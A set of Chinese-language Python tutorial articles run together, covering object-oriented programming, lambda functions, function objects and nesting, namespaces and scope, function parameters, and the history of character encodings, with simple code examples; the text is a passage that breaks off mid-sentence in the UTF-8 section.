是所有对象都要调用的函数 , 我们能不能把它想da_ka这样的功能一下 , 是公有的 , 我们写的类里面呢 ? 是可以的第三版class User: # 相同的属性 addr = "信思智学" def __init__(self, name, age): self.name = name self.age = age # 公有的方法 def da_ka(self, age, name, addr): print(f"{age}的{name},每天都要去{addr}上班,打卡") print("打卡成功") obj3 = User("小强", 23) obj4 = User("小刚", 24) obj5 = User("小呆呆", 25) print(obj3.name) print(obj4.name) print(obj5.name)实际上 python 提供的有专门的方法 , 就是 __init__ , 它称之为 初始化方法 , 当实例化对象的时候会自动的调用 ,该方法是有着固定的作用 , 就是用来封装对象之间不同的一些属性值 , 如 人对象 , 每个人都有名字这个属性, 但是名字的值都是不同的补充在这类以__开始和__结束的方法 , 有的从php转来的程序员 也叫他魔术方法/魔法函数 等等7、selfself是什么呢 ? 它实际上是当前属性/方法的调用者 , 即当前对象 , 我们通过print ,打印他们的内存地址 , 即可发现示例class User: # 相同的属性 addr = "信思智学" def __init__(self, name, age): self.name = name self.age = age # 公有的方法 def da_ka(self, age, name, addr): print(self) print(f"{age}的{name},每天都要去{addr}上班,打卡") print("打卡成功") obj3 = User("小强", 23) obj4 = User("小刚", 24) obj5 = User("小呆呆", 25) obj3.da_ka(obj3.age,obj3.name,obj3.addr) print(obj3) """ <__main__.User object at 0x000001F5583A27F0> 23的小强,每天都要去信思智学上班,打卡 打卡成功 <__main__.User object at 0x000001F5583A27F0> """既然self是当前调用的对象 , 当前对象中又封装的有da_ka函数需要使用到的变量 , 那么 da_ka 中代码我可以这样修改第四版class User: # 相同的属性 addr = "信思智学" def __init__(self, name, age): self.name = name self.age = age # 公有的方法 def da_ka(self): print(f"{self.age}的{self.name},每天都要去{self.addr}上班,打卡") print("打卡成功") obj3 = User("小强", 23) obj4 = User("小刚", 24) obj5 = User("小呆呆", 25) obj3.da_ka()四、面向对象的三大特征封装 : 找到变化并且把它封装起来 , 你就可以在不影响其它部分的情况下修改或扩展被封装的变化部分 , 这是所有设计模式的基础 , 就是封装变化 , 因此封装的作用 , 就解决了程序的可扩展性。 继承 : 子类继承父类 , 可以继承父类的方法及属性 , 实现了多态以及代码的重用 , 因此也解决了系统的重用性和扩展性 多态 : 接口的多种不同的实现方式即为多态。接口是对行为的抽象 , 刚才在封装提到 , 找到变化部分并封装起来,但是封装起来后 , 怎么适应接下来的变化?这正是接口的作用 , 接口的主要目的是为不相关的类提供通用的处理服务,我们可以想象一下。比如鸟会飞 , 但是超人也会飞 , 通过飞这个接口 , 我们可以让鸟和 超人 , 都实现这个接口 , 这就实现了系统的可维护性,可扩展性。 因此面向对象能实现人们追求的系统可维护性 , 可扩展性 , 可重用性。面向对象是一种编程思想 , 起初,“面向对象”是专指在程序设计中采用封装、继承、多态等设计方法,但面向对象的思想已经涉及到软件开发的各个方面,比如现在细分为了面向对象的分析(OOA),面向对象的设计(OOD),面向对象的编程实现(OOP)1、封装还是针对上面的代码 , 比如我还想 封装 一个每天晚上要去查人数的功能 , 我就可以这样class User: # 相同的属性 addr = "信思智学" def __init__(self, name, age): self.name = name self.age = age # 公有的方法 def da_ka(self): print(f"{self.age}的{self.name},每天都要去{self.addr}上班,打卡") print("打卡成功") def kao_qin(self): print(f"亲爱的{self.name}同学,每天晚上19.00都要去查考勤") print("查考勤结束") obj3 = User("小强", 23) obj4 = User("小刚", 24) obj5 = User("小呆呆", 25) obj3.da_ka() obj3.kao_qin()说简单点 , 就是把函数写到类里面 , 当然关于封装不仅仅只是这一点点而已 , 还有其他的封装2、继承什么是继承继承是一种创建新类的方式，在Python中，新建的类可以继承一个或多个父类，新建的类可称为子类或派生类，父类又可称为基类或超类继承语法class 类名(父类1,父类2): pas示例class Parent1: x = 11 class Parent2: pass class Sub1(Parent1): pass class Sub2(Parent1, Parent2): pass为什么要继承以及继承的意义为什么要用继承 解决类与类之间代码冗余问题 继承的意义 子类会遗传父类的属性 , 解决类与类之间代码冗余问题继承下的属性查找顺序class Foo: def f1(self): print("foo.f1") def f2(self): print("foo.f2") self.f1() class Bar(Foo): def f1(self): print("bar.f1") b = Bar() b.f2() # 只要涉及到继承找属性,一定要先从当前对象查找,没有,再到类中查找,如果在没有再到父类中查找补充 : 父类如果不想让子类覆盖自己的方法，可以采用双下划线开头的方式将方法设置为私有的class Foo: def __f1(self): # 变形为_Foo__fa print('Foo.f1') def f2(self): print('Foo.f2') self.__f1() # 变形为self._Foo__fa,因而只会调用自己所在的类中的方法 class Bar(Foo): def __f1(self): # 变形为_Bar__f1 print('Foo.f1') b=Bar() b.f2() #在父类中找到f2方法，进而调用b._Foo__f1()方法，同样是在父类中找到该方法 Foo.f2 Foo.f1关于继承 , 要求 : 能看懂3、多态关于多态 , 是在面向对象中最抽象和最难理解的一个特征 , 同时在python这门编程语言中对多态的实现在语法层面上 , 又是那么的不明显 , 导致很多人不理解这个多态是什么多态多态指的是一类事物有多种形态，比如动物这类事物有多种形态：猫、狗、猪 , 水有水蒸气 , 液体水 , 冰这些形态看代码# Persion类 class Persion: def __init__(self, name): self.name = name def eat(self): # 吃饭 pass class Boy(Persion): def __init__(self, name, gender="男"): # 在子类中 , 调用父类的 __init__ 方法 , 简单理解: super()返回父类 super().__init__(name) self.gender = gender def eat(self): # 男孩喜欢吃肉 super().eat() # 调用父类的eat方法 print(f"{self.name} like eat meat !!!") class Girl(Persion): def __init__(self, name, gender="女"): super().__init__(name) self.gender = gender def eat(self): # 女孩喜欢吃米饭 super().eat() # 在子类中 , 调用父类的eat方法 , 简单理解: super()返回父类 print(f"{self.name} like eat rice !!!") # 多态的体现，既可以是boy，也可以是个girl # 只要实现了eat方法 , 我不管你是什么形态 def eat(persion): persion.eat() boy = Boy("alex") girl = Girl("lili") # 接收的类型 可以是女孩/男孩 只要实现了eat方法即可 eat(boy) eat(girl)五、面向对象和面向过程的区别面向对象是基于面向过程的编程思想 面向过程：强调的是实现每一个功能的步骤 面向对象：强调的是对象，然后由对象去调用功能六、总结知道语法 , 知道属性是如何调用的 , 方法如何调用的 编写程序 , 不使用面向对象仍然可以完成需求 大家对面向对象的迷惑点是 , 什么情况下使用面向对象 , 面向对象中的属性和方法应该怎么定义 我写的代码符不符合面向对象标准 面向对象编程 , 不需要必须实现继承和多态 我单独的一个封装也是面向对象编程 对新手朋友来说最难的实际上是面向对象的设计 , 当你拿到一个需求的时候 , 你不知道该怎么设计 , 即怎么的封装 属性和方法怎么定义 , 进而你会觉得面向对象难 有一个方法 , 你先把你想要实现的程序用到的数据和功能 , 拆分出来 , 然后再编写程序 , 因为面向对象一定是对属性(数据)和方法(功能的封装) , 然后再编写代码
本篇文章记录的是Python匿名函数和面向过程编程的知识。一、lambda对比使用def关键字创建的是有名字的函数，使用lambda关键字创建则是没有名字的函数，即匿名函数语法如下：lambda 参数1，参数2：返回值[定义]lambda x, y: x + y # lambda自带一个return print(lambda x, y: x + y)[调用]# 调用匿名函数 : 函数内存地址 + () # 方式一: res = (lambda x, y: x + y)(1, 2) print(res) # 方式2: x = (lambda x, y: x + y) res1 = x(3, 5) print(res1)以上都不是匿名函数的真正调用方式 , 因为匿名函数的精髓就在于没有名字 , 你这又搞出来一个名字 , 那你干嘛不 用有名函数 def 关键字定义呢?[应用场景]匿名函数与有名函数有相同的作用域，但是匿名意味着引用计数为0，使用一次就释放，所以匿名函数用于临时使用一次的场景，匿名函数通常与其他函数配合使用[max函数]接收一个可迭代对象 , 然后比较 , 返回最大值 , 可设置比较的依据# 需求:打印出薪资最高的那个人的名字 salary_dic = {'tom': 100, 'alex': 500, 'jack': 200} res = max(salary_dic) # max直接迭代字典,只会把字典的key作为比较依据,我们需要把值作为依据,可指定key的值def func(k): return salary_dic[k] res = max(salary_dic, key=func) # max会把迭代的每一个值传递给key指定的函数内存地址当做实参,然后通过函数的返回值作为比较的依据 print(res) # alex但是你发现了吗 , func这个函数 , 只适用于这次比较大小 , 没有其他可用的作用了 , 既然只用一次 , 那么用匿名函数岂不美哉# k就是函数的形参,实参在代码层面你是看不到的,但是执行起来会传参 res = max(salary_dic, key=lambda k: salary_dic[k]) print(res)[min函数]salary_dic = {'tom': 100, 'alex': 500, 'jack': 200} # max取最大,min取最小 res1 = min(salary_dic, key=lambda k: salary_dic[k]) print(res1)[stored函数]sorted 排序,也可以指定比较依据,默认reserve=False,是从小到大排列,可以设为True,从大到小排列salary_dic = {'tom': 100, 'alex': 500, 'jack': 200} res2 = sorted(salary_dic, key=lambda k: salary_dic[k]) print(res2)二、面向过程编程1、 介绍面向过程(Procedure Oriented)是一种以过程为中心的编程思想，是一种基础的方法，它考虑的是实际地实现基于该思想编写程序就好比一条流水线首先分析出解决问题所需要的步骤，然后用函数把这些步骤一步一步实现，使用的时候一个一个依次调用就可以了比如拿学生早上起来去上学这件事说明面向过程，粗略的可以将过程拟为：(1) 起床(2) 穿衣(3) 洗脸刷牙(4) 去学校# 第一步,起床 def get_up(): print('我起床了') # 第二步,穿衣 def dress(): print("穿衣服") # 第三步,洗脸刷牙 def brush_teeth(): print('刷牙,洗脸') # 第四步,去学校 def go_school(): print("去学校") def main(): get_up() dress() brush_teeth() go_school() 这4步就是一步一步地完成，它的顺序很重要，你只需要一个一个地实现就行了。而如果是用面向对象的方法的话，可能就只抽象出一个学生的类，它包括这四个方法，但是具体的顺序就不一定按照原来的顺序。2、 优缺点[优点]复杂问题流程化 , 进而简单化 , 这也是计算机最本质的工作模式 , 最喜欢的工作模式 , 一步一步的来[缺点]扩展性非常差3、 应用场景不是所有的软件都需要频繁更迭 : 比如编写脚本即便是一个软件需要频繁更迭，也不并不代表这个软件所有的组成部分都需要频繁迭代总结对于我们 python&安全 , 基本上刚开始写的都是一些小脚本 , 这样写就ok了 如果你是做大型项目 , 这个需要学习一下系统的 python开发
本篇文章记录的是Python函数对象和嵌套的知识。一、函数对象精髓：可以把函数名当成变量名去用函数名和变量名一样，都是指向的是内存地址二、函数名的用途1、可以赋值把一个函数名赋值给另一个变量名# func=函数的内存地址 def func(): pass f=func print(func) # <function func at 0x000001E78F9B3EA0> print(f) # <function func at 0x000001E78F9B3EA0>2、当参数函数名也可以当做参数传给另一个函数def func(): pass def foo(x): # × = func的内存地址# print(x) x() foo(func) # foo( func的内存地址)3、当返回值函数名也可以当函数的返回值def func(): pass def foo(x): return x res = foo(func) print(res)4、当元素函数名可以当做容器类型的一个元素def func(): print('func函数: ',func) l=[func,] print(l) l[0]() # 调用func函数 dic={ 'k1' :func} print(dic) dic['k1']() # 调用func函数5、小练习def login(): print('登录功能') def transfer(): print('转账功能') def check_balance(): print('查询余额') def change_password(): print('修改密码') # 巧用数据类型 dic = { # '1': login, '0': ('退出', None), '1': ['登录', login], '2': ['转账', transfer], '3': ['查询余额', check_balance], '4': ['更改密码', change_password], # '2': transfer, # '3': check_balance, } while 1: for key, value in dic.items(): print('{} {}'.format(key, value[0])) choice = input('请输入编号:').strip() if not choice.isdigit(): print('必须输入编号,憨批') continue if choice == '0': break if choice in dic: dic[choice][1]() else: print('你输入的命令不存在,憨批')三、函数的嵌套1、函数的嵌套调用在调用一个函数的过程又调用其他的函数def func1(): print("调用了func1函数") def func2(): print("调用了func2函数") def func3(): print("调用了func3函数") def func(): func1() func2() func3()应用场景：把各个小功能（小函数），封装到一个大功能（大函数）里面def max2(x, y): return x if x > y else y # 比较4个参数的大小 def max4(a, b, c, d): # 比较a,b得到res1 res1 = max2(a, b) # 比较res1,c,得到res2 res2 = max2(res1, c) # 比较res2,d ,得到res3 res3 = max2(res2, d) return res3 print(max4(7838237, 9859, 949, 90))2、函数的嵌套定义在函数内定义其它的函数def func(): def func1(): pass # 举例: # 求圆的周长和面积,但是只在圆内调用,在其他地方不用 from math import pi def circle(radius, action=None): "radius:半径 action为0是求周长 action为1是求面积 " def get_perimeter(radius): return 2 * radius * pi def get_area(radius): return pi * radius ** 2 # 求圆的周长 if action == 0: return get_perimeter(radius) # 求圆的面积 elif action == 1: return get_area(radius)==上面的应用场景比较少 , 函数的嵌套定义更多的用在闭包==# 函数的嵌套定义你可以认为把一堆函数丢到一个大容器(最外面的那个函数)中 # 同时在外部是无法访问这个函数的,只能在大容器中访问这些函数
本篇文章记录的是Python名称空间和作用域的知识。一、名称空间名称空间，名称即名字，空间就是存放东西的地方，那么名称空间你可以理解为就是放名字的地方，变量名是放在栈区的，变量值是放在堆区的，实际上名称空间是对栈区的划分，有了名称空间我们就可以在栈区中存放相同的名字了，名称空间让他们相互隔离开来，进而也实现了资源隔离，名称空间是一种虚拟化的划分，栈区是真实存在的。==我们讲名称空间只考虑名字 , 是不考虑值的 , 因为名字太重要了 , 通过名字可以引用到值==二、三种名称空间1、 内置名称空间存放python解释器内置的名字 , 比如 print input等>>> print <built-in function print> >>> input <built-in function input>存活周期 ：python解释器启动则产生，python解释器关闭则销毁2、 全局名称空间只要不是函数内定义、也不是内置的，剩下的都是全局名称空间的名字import os # os是存放在全局名称空间的名字 x = 123 # x是存放在全局名称空间的名字 def func(): pass func # func是存放在全局名称空间的名字存活周期 ：python文件执行则产生，python文件运行完毕后销毁3、 局部名称空间在调用函数时，运行函数体代码过程中产生的函数内的名字(变量名)def func(): x = 10 y = 20 func() # 函数调用就会产生x,y这两个名字,放在局部名称空间 函数结束,名字就会被销毁存活周期 : 在调用函数时存活，函数调用完毕后则销毁==友情提示 :==# 函数的每次调用都会产生一个局部名称空间,哪怕是一个空函数, # 或者一直调用同一个函数,也会每次都会产生不同的局部名称空间三、 三种顺序1、 名称空间加载顺序名称空间的加载顺序你也可以认为是名称空间的生成顺序# 内置名称空间>全局名称空间>局部名称空间2、 名称空间销毁顺序# 局部名称空间>全局名空间>内置名称空间3、 名字查找顺序==名字的查找顺序是以定义阶段为准的,从当前位置往外一层一层的找==# 当前所在的位置向上一层一层查找 # 内置名称空间 3层 # 全局名称空间 2层 # 局部名称空间 1层 # 这里的层是我个人抽象出来的# 如果当前在局部名称空间: # 局部名称空间->全局名称空间->内置名称空间# 如果当前在全局名称空间 # 全局名称空间->内置名称空间# 举个栗子 x = 1 def func(): print(x) def foo(): x = 222 func() foo() # 打印1 # 名称空间的"嵌套"关系是以函数定义阶段为准，与调用位置无关 x = 1 def foo(): x = 222 def func(): print(x) func() foo() # 打印222 虽然函数的定义不会执行代码，但是会在函数内部搞一个名字，会先存个名字，等到调用的时候在会具体赋值input = 111 def f1(): def f2(): print(input) input = 222 f2() input = 333 f1() # 运行打印222四、 作用域域是指范围的意思，作用域就是作用范围的意思按照名字作用范围的不同可以将三个名称空间划分为两个区域： 全局作用域与局部作用域1、 全局作用域全局作用域 : 位于全局名称空间、内置名称空间中的名字属于全局范围，该范围内的名字全局存活（除非被删除，否则在整个文件执行过程中存活）、全局有效（在任意位置都可以使用）；# 特点: 全局存活 # 全局有效 被所有函数共享2、 局部作用域局部作用域:位于局部名称空间中的名字属于局部范围。该范围内的名字临时存活（即在函数调用时临时生成，函数调用结束后就释放）、局部有效（只能在函数内使用）。# 特点: 临时存活 # 局部有效 : 函数内有效3、 locals和globals# locals() 函数返回局部作用域中所有的名字 # globals() 函数返回全局作用域中所有的名字 # 返回的内容格式是字典格式 def func(): x = 1 print(locals()) func() # {'x': 1}五、global和nonlocal1、 global(了解)在函数内，无论嵌套多少层，都可以查看到全局作用域的名字，若要在函数内修改全局名称空间中名字的值，当值为不可变类型时，则需要用到global关键字name = "ymn" def func(): global name # 把全局中的名字加载到局部内 name = 'dl' # 修改对应的值，这个值不会因为函数的结束，就销毁了，因为它作用到全局 print(name) # 打印 dl func() print(name) # name的值已经被修改了,所以打印 dl2、 nonlocal(了解)nonlocal 会从当前函数的外层函数开始一层层去查找名字，若是一直到最外层函数都找不到，则会抛出异常。nonlocal的查询边界就是最外面的一层函数。x = 0 def func(): x = 1 def func2(): nonlocal x x = 2 func2() # 调用fcun(),修改func作用域中名字x的值 print(x) # 在func作用域查看x func() # 结果2 print(x) # 打印0 打印的是全局作用域中x的值
本篇文章记录的是Python函数参数的知识。一、形参和实参1、形参形参：在定义函数阶段定义的参数叫做形式参数，简称形参，相当于变量名。==函数在定义阶段括号内指定的变量名==def func(x): # x就是形参 print(x)2、实参实参：在调用函数阶段传入的值称之为实际参数，简称实参，相当于变量值，值可以是常量，变量、表达式或三者的组合。==函数在调用阶段括号内传入的值。==def func(name): print(f'我的名字是{name}') func('tom') # 'tom'就是实参 3、形参和实参的关系在调用阶段，实参（变量值）会绑定给形参（变量名），绑定不是目的，目的是在函数体中使用，函数调用结束后，这种绑定关系就会解除，所以无法再函数体外使用。二、三种参数1、位置参数位置参数：按照从左到右的顺序依次定义的参数称之为位置参数。位置形参：在函数定义阶段，按照从左到右的顺序直接定义的变量名。特点：必须传值，多一个不行，少一个也不行。def func(x,y,z): # x,y,z 三个位置形参 return x + y + z位置实参：在函数调用阶段，按照从左到右的顺序依次传入的值。特点：按照顺序与形参一一对应：def func(x,y,z): return x + y + z func(1,2,3) # 1,2,3 三个位置实参,依次传给x,y,z2、关键字参数关键字实参：在函数调用阶段，按照key=value的形式传入的值特点：指名道姓给某个形参传值，可以完全不按照顺序混合使用：位置实参必须放在关键字实参前面不能为同一个形参重复传值def foo(x,y): return x + y foo(1,y=2) foo(y=2,1) # 报错 foo(1,y=2,x=3) # 报错 foo(1,2,x=3,y=4) # 报错3、默认值参数默认形参：在函数定义阶段，就已经被赋值的形参，称之为默认参数特点：在函数定义阶段就已经被赋值，意味着在调用阶段可以不用为其赋值，也可以赋值改变默认值。def func(x,y=1): return x+y func(1) func(1,2) func(x=1,y=1) func(10,y=20)混合使用：位置参数必须在默认值参数前面：def func(x,y=100): return x + y4、形参如何定义位置形参：当每次函数调用传进来的参数都是不一样的，但是又是必须传入的时候默认值参数：当每次函数调用传进来的参数大都是不变的，应该设为默认值参数。注册小示例:def register(name,age,sex):print(name,age,sex) register('小明',20,'男')register('小红',19,'女')register('小强',22,'男')register('小亮',23,'男')这个时候发现性别大多数都是男,于是你可以在函数定义的时候设置一个默认值参数,即sex='男'def register1(name,age,sex='男'): print(name,age,sex) register1('小明',20) register1('小红',19,'女') register1('小强',22) register1('小亮',23) # 当遇到女同学的时候,才传入sex的值,默认情况下我们把性别设置成男三、可变长度参数（与*）可变长度指的是在调用函数时，传入的值（实参）的个数不固定，而实参是用来为形参赋值的，所以对应着，针对溢出的实参必须有对应的形参来接收。1、可变长度的位置参数形参名：用来接收溢出的位置实参，溢出的位置实参会被保存成元组的格式然后赋值紧跟其后打的形参名。星号后面的形参名可以是任意名字，但是约定俗称为args，即*args。# 示例: def func(x,y,*z) print(x,y,z) # 1 2 (3,4,5) func(1,2,3,4,5) ==*在实参中应用（星号后面跟可迭代对象）==：实参中带*，在星号后面的值会被打散成位置参数：def func(x,y,z): print(x,y,z) func(*[1,2,3]) # func(1,2,3)# 小练习 def func1(x,y,*args): print(x,y,args) # 1 2 (3,4,5) func1(1,2,*[3,4,5]) def func2(x,y,*args): print(x,y,args) # h e ("l","l",'o') func2(*"hello")2、可变长度的关键字参数**形参名:用来接收溢出的关键字实参 , 溢出的关键字实参会被**保存成字典的格式然后赋值紧跟其后打的形参名星星号后面的形参名可以是任意名字，但是约定俗称为kwargs , 即 **kwargsdef func(x,y,**kwargs): print(x) # 1 print(y) # 2 print(kwargs) # {'z':3,'a':4} func(1,y=2,z=3,a=4)==**在实参中的应用( 星星号后面只能跟字典 )==实参中带** , 在星号星号后面的值会被打散成关键字参数def func(x,y,z): print(x,y,z) # 1 2 3 func(**{"x":1,"y":2,'z':3})# 小练习 def func(x,y,**kwargs): print(x,y,kwargs) # 1 2 {"x":1,"y":2,'z':3} func(1,2,**{"x":1,"y":2,'z':3}) def func(x,y,**kwargs): print(x,y,kwargs) # 1 2 {'z':3,'a':4,'b':5} func(**{"x":1,"y":2,'z':3,'a':4,'b':5})3、 混用和*args必须在*kwargs之前当args必须在*kwargs混用的时候，该函数可以接受任意的实参，只要实参的顺序是对的。def func(*args,**kwargs): print(args) # (1, 2, 3, 4, 5) print(kwargs) # {'x': 1, 'y': 2, 'z': 3, 'c': 5} func(1,2,3,4,5,x=1,y=2,z=3,c=5)
本篇文章记录的是Python函数的基本使用的知识。一、函数介绍1、什么是函数函数就相当于具备某一功能的工具，就像爆米花机，给玉米就会造出爆米花。2、为什么要用函数组织结构清晰，可读性强代码精简可维护性强，扩展性强3、如何使用函数先定义后调用返回值二、函数定义1、函数定义函数的使用必须遵循先定义，后调用的原则，函数的定义就相当于事先将函数体代码保存起来，然后将内存地址赋值给函数名，函数名就是对这段代码的引用，这和变量的定义是相似的，没有事先定义函数而直接调用，就相当于在引用一个不存在的变量名，同时函数名的命名规范也和变量名一样的，字母数字下划线组成。定义函数的语法：def 函数名(参数1,参数2,...): """文档描述""" 函数体 return 值 # def是关键字,return是返回值定义函数会发生的事情：申请内存空间保存函数体代码将上述内存地址绑定给域名定义函数不会执行函数体代码，但是会检测函数体语法def func(): x print('hello word') # 运行,不报错 def func(): print('你好' # 运行,报语法错误 2、三种定义形式（1）无参函数没有参数的函数def func(): print('无参函数') func()应用场景：只需要完成某种功能不需要外部的原材料，即不需要参数（2）有参函数有参数的函数 def func(x,y): # x = 1 y = 2 print(x,y) func(1,2)应用场景：函数体需要外部传来的原材料，对其引用，需要有参数传递（3）空函数函数体代码：PASS（。。。）def func(): pass func()三、调用函数函数的调用语法：函数名（）调用函数发生的事情通过函数名找到函数的内存地址通过加括号就是在出发函数体代码的执行1、语句形式def func(): print('hello word') func() 2、表达式形式def func(): x = 10 y = 20 return x + y res = func() # 利用函数的返回值赋值给res print(res)3、函数调用作为参数def func(x,y): return x * y m = func(func(2,3),9) # func(2,3)的返回值作为函数func的第一个参数四、函数的返回值return是函数结束的标志，即函数体代码一旦运行到return会立刻终止函数的运行若需要将函数体代码执行的结果返回给调用者（函数名（）），则需要用到return，return后无值或直接省略return，则默认返回none，return的返回值无类型限制，且可以将多个返回值放到一个元组内# 1.不返回值 def func1(): x = 1 print(func1()) # None # 2.返回空值 def func2(): return print(func2()) # None # 3.返回一个值 def func3(): x = 10 return x print(func3()) # 10 # 4.返回多个值,逗号隔开 , 本质是返回一个值 元组 def func4(): x = 10 y = {"name":'alex'} return x,y print(func4()) # (10,{"name":'alex'})
本篇文章记录的是Python字符编码的知识。字符编码谈字符编码，首先谈谈和字符相关的知识一、预备知识1、 python的字符相关（1）字符串我们之前就了解并学习过字符串就是由一串字符组合形成的，毋庸置疑谈字符编码肯定和字符串有关（2） 文本文件在我们没有接触python之前，你可能就已经接触了word文件，尤其是在学生时代，各种通知，作业都是wordword文件本质上就是文本文件，由很多字符组成，只不过当初的你把它叫做汉字或者英文字母。2、 三大核心硬件首先所有的软件都是运行在硬件之上的，与运行软件相关的三大核心硬件分别为cpu，内存，硬盘。首先明确：软件运行之前，软件的代码以及相关的数据都是保存在硬盘上的任何软件的运行都是把数据从硬盘中读入到内存，然后cpu从内存中取出指令执行软件运行过程中产生的数据都是先保存在内存中的，如果想要永久保存数据，则需要将数据由内存写入到硬盘中2、 文本编辑器读取文件内容的流程#阶段1、启动一个文件编辑器（文本编辑器如nodepad++，pycharm，word） #阶段2、文件编辑器会将文件内容从硬盘读入内存 #阶段3、文本编辑器会将刚刚读入内存中的内容显示到屏幕上3、 python解释器执行文件的流程以python test.py为例，执行流程如下#阶段1、启动python解释器，此时就相当于启动了一个文本编辑器 #阶段2、python解释器相当于文本编辑器，从硬盘上将test.py的内容读入到内存中 #阶段3、python解释器解释执行刚刚读入的内存的内容，开始识别python语法4、总结python解释器与文件本编辑的异同如下#1、相同点：前两个阶段二者完全一致，都是将硬盘中文件的内容读入内存，详解如下 python解释器是解释执行文件内容的，因而python解释器具备读py文件的功能，这一点与文本编辑器一样 #2、不同点：在阶段3时，针对内存中读入的内容处理方式不同，详解如下 文本编辑器将文件内容读入内存后，是为了显示或者编辑，根本不去理会python的语法，而python解释器将文件内容读入内存后，可不是为了给你瞅一眼python代码写的啥，而是为了执行python代码、会识别python语法）二、字符编码介绍1、 什么是字符编码当我们在和计算机进行交互时，用的全都是字符，就是我们人类都够认识的字符，比如中文字符，英文字符等但是我们都知道计算机只认识0101这种二进制数字。那么我们在打字，编辑文档的时候，一定会经历一个过程就是把我们人类能够认识的字符转化成010101数字翻译的时候肯定必须参照一个标准，该标准称之为字符编码表，该表上存放的就是字符与数字一 一对应的关系。即人类字符和数字的对应关系的一张表，就是字符编码表。编码就是按照字符编码表翻译的意思，2、解释一下你看到的字假如你敲了一个牛叉，计算机会参照字符编码表，把牛叉翻译成0101这种二进制数字存到内存中，然后你的文本编辑器又从内存中把这串二进制数字从内存中取了出来，按照同一张字符编码表反解成对应的字符，显示出来。由于这个过程太快了，你根本感知不到。三、字符编码表的发展史首先计算机是美国人发明的，所以当初设定第一张对照表的是美国人，且只有美国人认识的英文字符。1、第一张字符编码表——ASCII对照表ASCII对照表的特点：只有英文字符与数字的一一对应关系一个英文字符对应1Bytes，1Bytes=8bit（位），8bit最多包含256个数字，可以对应256个字符，足够表示所有英文字符注意：英文字符不等同英文字母，字符包括：大小写字母，标点符号，数字，空白。2、 各种国家的编码表虽然电脑是美国人发明的，但是随着历史的发展，各个国家的人们都开始接触，并想使用电脑。那么就要提前解决一个问题——就是原本的ASCII对照吧表中没有自己国家语言的字符。于是各个国家开始在ASCII编码表的基础上编制自己国家语言的字符编码表。gbk（国编码）GBK表的特点：只有中文字符、英文字符与数字的一一对应关系一个英文字符对应1Bytes一个中文字符对应2Bytes补充说明： 1Bytes=8bit，8bit最多包含256个数字，可以对应256个字符，足够表示所有英文字符​ 2Bytes=16bit，16bit最多包含65536个数字，可以对应65536个字符，足够表示所有中文字符​ 实际上英文字符+中文字符+韩文字符+日文字符估计也就才6000多个，但是在gbk编码表中只​ 有英文+中文字符和数字的对应关系。Shift_JIS日文编码表，只有日文和英文字符与数字的一一对应关系Euc-kr韩文编码表，只有韩文和英文字符与数字的一一对应关系在那个年代，美国人使用的计算机里面字符编码的标准是ASCII，中国人的是GBK，日本人的是Shift_JIS，韩国人的是Euc-kr。在他们的电脑上处理文本文件都是不会出现乱码的，因为在他们的电脑上只有一个标准，无论是存文件，还是取文件都按照同一张对照表。文本文件的存取原理# 以ASCII对照表为例 # 1.存文本文件 人类通过文本编辑器输入的字符,计算机会按照ASCII对照表翻译成对应的二进制存放在内存 如果想要永久保存,则直接将内存的二进制写入硬盘即可 # 2.取文本文件 将存放在硬盘中的ASCII格式的二进制读到内存中,然后按照ASCII对照表反解成对应的字符3、 万国统一 —— unicode在此之前各国的计算机上还只是只能输入英文字符+本国字符，但是“贪婪”的我们怎么能甘心这样，最好的方式应该是我的计算机能够输入各种国家的字符，而且保证不乱码。于是unicode（万国码）就应运而生了。unicode于1990年开始研发，1994年正式公布，具备两大特点：固定一个字符对应2Bytes，部分生僻字用4个Bytes存在所有语言中的所有字符与数字的一 一对应关系，即兼容万国字符。与传统的字符编码的二进制数都有对应关系，详解如下很多地方或老的系统、应用软件仍会采用各种各样传统的编码，这是历史遗留问题。此处需要强调：软件是存放于硬盘的，而运行软件是要将软件加载到内存的，面对硬盘中存放的各种传统编码的软件，想让我们的计算机能够将它们全都正常运行而不出现乱码，内存中必须有一种兼容万国的编码，并且该编码需要与其他编码有相对应的映射/转换关系，这就是unicode的第二大特点产生的缘由。比如这个“上”字符，他的unicode对应的数字（4E0A，这里是16进制显示的），不但对应这个上，还对应这G0-494F，J0-3E45等，也就是unicode第二个特点与传统二进制数也有对应关系。文本编辑器输入任何字符都是最新存在于内存中，是unicode编码的，存放于硬盘中，则可以转换成任意其他编码，只要该编码可以支持相应的字符。# 英文字符可以被ASCII识别 英文字符--->unciode格式的数字--->ASCII格式的数字 # 中文字符、英文字符可以被GBK识别 中文字符、英文字符--->unicode格式的数字--->gbk格式的数字 # 日文字符、英文字符可以被shift-JIS识别 日文字符、英文字符--->unicode格式的数字--->shift-JIS格式的数字目前所有多的电脑在内存中字符的编码都是unicode，且不能修改，这一点保证了你可以在电脑上输入任何国家的字符和你可以打开以前老编码的文本文件，因为他们也和unicode有对应关系，也能反解成对应的字符显示在屏幕上。这个时候已经可以在自己的计算机上输入万国的字符了，但是如果你存到硬盘上也采用unicode格式的话，如果绝大多数字符都是英文字符的话就会造成一种空间的浪费，相对于以前的一个英文字符对应一个Bytes也是一种倒退虽然说现在存储已经不值钱了，但是当我们写进硬盘时，数据量大的一定比小的带来的IO延迟要高，甚至当我们由内存写入硬盘时会额外耗费一倍的时间。所以这才是用unicode编码的文件不能直接丢到硬盘的原因。所以将内存中的unicode二进制写入硬盘或者基于网络传输时必须将其转换成一种精简的格式，这种格式即utf-8。4、 UTF-8utf-8 全称Unicode Transformation Format，即unicode的转换格式由于unicode的不完美，于是又出现了一种新的字符编码，就是UTF-8，实质上还是unicode，只不过在中英文字符上做上了区分。这样就完美的解决了unicode带来的存储问题。英文字符对应一个Bytes 一个字节是8位 0000 